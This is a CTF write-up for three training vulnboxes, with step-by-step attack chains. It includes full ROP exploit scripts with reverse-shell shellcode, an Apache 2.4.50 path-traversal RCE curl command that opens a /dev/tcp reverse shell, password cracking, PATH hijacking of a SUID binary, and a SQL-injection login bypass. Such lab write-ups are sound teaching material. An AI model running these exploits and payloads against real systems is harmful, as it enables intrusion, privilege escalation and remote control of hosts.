# InnoCTF Juniors 21. Vulnbox write-ups
## Vulnbox 1
**Initial foothold:** IDOR
Register and login.
`http://<IP>/download/55` -> downloads binary executable (nginx)
**User Access:** Buffer overflow in the nginx module
Reverse nginx and find buffer overflow in the `ngx_http_wafy_process_url_body` function.
GET parameters must be 512 in length and end in '\\'.
Exploit steps:
1) Bruteforce canary
2) Set rwx to a known chunk of memory by calling the mprotect system call.
3) Write shellcode(reverse shell) to the rwx memory
4) Jump to shellcode
exploit:
```python=
#!/usr/bin/env python3
import requests, sys
from pwn import *
if len(sys.argv) != 2:
print(f'Usage: {sys.argv[0]} <url>')
sys.exit(-1)
params = 'A'*510+'\\'
url = sys.argv[1] + '/?' + params
canary = b'\x00'
for i in range(7):
for byte1 in range(256):
data = b'X'*2048 + b'\x00' + b'A'*7
data += canary + bytes([byte1])
try:
r = requests.post(url, data=data)
canary += bytes([byte1])
break
except:
pass
canary = u64(canary.ljust(8, b'\x00'))
print(hex(canary))
input()
top = 0x400000
syscall_plt = 0x40b410 #: syscall@plt
pop_rax = 0x000000000040dcce #: pop rax; pop rbx; pop rbp; ret;
pop_rdi = 0x00000000004e5aa3 #: pop rdi; ret;
pop_rsi = 0x00000000004e5aa1 #: pop rsi; pop r15; ret;
pop_rdx = 0x00000000004e5a2b #: pop rdx; ret;
pop_rcx = 0x00000000004e5a2d #: pop rcx; ret;
pop_r10 = 0x00000000004e5a2a #: pop r10; ret
mov_rax_rdx = 0x0000000000410b13 #: mov qword ptr [rax], rdx; pop rbp; ret;
ret = 0x0000000000400524 #: ret;
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\x05\x39\x33\x0d\x65\x20\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
params = 'A'*510 + '\\'
p = b''
p += b'C'*2048
p += b'\x00' + b'A'*7
p += p64(canary)
p += b'D'*8 #rbp
p += p64(pop_rcx)
p += p64(7) # rwx
p += p64(pop_rdi)
p += p64(10) # mprotect
p += p64(pop_rsi)
p += p64(top) # addres
p += b'JUNKJUNK'
p += p64(pop_rdx)
p += p64(0x1000) # len
p += p64(syscall_plt)
for i in range(0, len(buf), 8):
p += p64(pop_rax)
p += p64(top + i) # addr
p += b'JUNKJUNK'*2
p += p64(pop_rdx)
p += p64(u64(buf[i:i+8].ljust(8, b'\x90')))
p += p64(mov_rax_rdx)
p += b'JUNKJUNK'
p += p64(top)
#p += b'STOPSTOP'
r = requests.post(url, data=p)
```
**Root Access:** SUID file + Buffer Overflow
Find SUID binary `/usr/bin/program`
Download it and reverse(golang executable).
Find correct input to trigger vuln: `11337228` and `453596393`
The exploit technique is similar to the initial shell, but without the canary.
exploit:
```python=
import struct
import subprocess
import sys
p64 = lambda x: struct.pack('<Q', x)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
pop_rax = 0x0000000000403c0d #: pop rax ; ret
pop_rdi = 0x00000000004100fd #: pop rdi ; dec dword ptr [rax + 0x21] ; ret
pop_rsi = 0x0000000000416a8f #: pop rsi ; adc al, 0xf6 ; ret
xchg_rax_rdx = 0x00000000004637e7 #: xchg rax, rdx; ret;
syscall = 0x0000000000464ce9 #: syscall; ret;
shellcode = b''
shellcode += b'\x31\xff\x6a\x71\x58\x48\x89\xfe\x0f\x05' # setreuid(0)
shellcode += b'\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05' # /bin/sh
heap = 0x56d000
top = 0x400000
f = open('exploit.txt', 'wb')
f.write(b'11337228\n')
f.write(b'453596393\n')
p = b''
p += b'A'*64
p += p64(pop_rax)
p += p64(heap)
p += p64(pop_rdi)
p += p64(top)
p += p64(pop_rsi)
p += p64(0x1000)
p += p64(pop_rax)
p += p64(0x7)
p += p64(xchg_rax_rdx)
p += p64(pop_rax)
p += p64(10) # mprotect
p += p64(syscall)
p += p64(pop_rax)
p += p64(heap)
p += p64(pop_rdi)
p += p64(0)
p += p64(pop_rsi)
p += p64(top)
p += p64(pop_rax)
p += p64(0x1000)
p += p64(xchg_rax_rdx)
p += p64(pop_rax)
p += p64(0) # read
p += p64(syscall)
p += p64(top)
f.write(p + b'\n')
f.flush()
f.close()
f = open('shellcode.txt', 'wb')
f.write(shellcode + b'\n')
f.flush()
f.close()
```
## Vulnbox 2
**Initial foothold:** RCE apache 2.4.50
Remote Code Execution from apache 2.4.50. Exploit example:
```bash=
curl --data "A=|/bin/bash -i >& /dev/tcp/<IP>/8081 0>&1" http://<IP>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/bash>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/bash' -v
```
**User Access**: weak password
Find htpasswd file and brute it:
```bash=
cat /usr/local/apache2/conf/.htpasswd
john --wordlist=passwd_salted.txt .htpasswd
```
**Root access**:
SUID file + $PATH
Find file via SUID byte (/usr/bin/info)
Reverse it (or run from ltrace) and check system command call.
Try to export some command to PATH and run programm again. Example:
```bash=
ls -la /usr/bin/info
ltrace /usr/bin/info
mkdir /tmp/test && echo "whoami >> /tmp/pwned" >> /tmp/test/arch
chmod 755 /tmp/test/arch
export PATH=/tmp/test:$PATH
info
```
## Vulnbox 3
**Initial foothold:**
SQL-injection auth bypass in username form.
Exploit:
```php=
admin' or 1=1 -- -
```
**User Access**: leak password
Check issue "App problem" -> find correct password for user denny. Try to connect via ssh and get user flag.
**Root access**: keyring not-safety storage
```bash=
$ python3:
>> import keyring
>> keyring.get_keyring() -> .local/share/python_keyring/keyring_pass.cfg
```
Decode base64 password to root from this file and login to root user.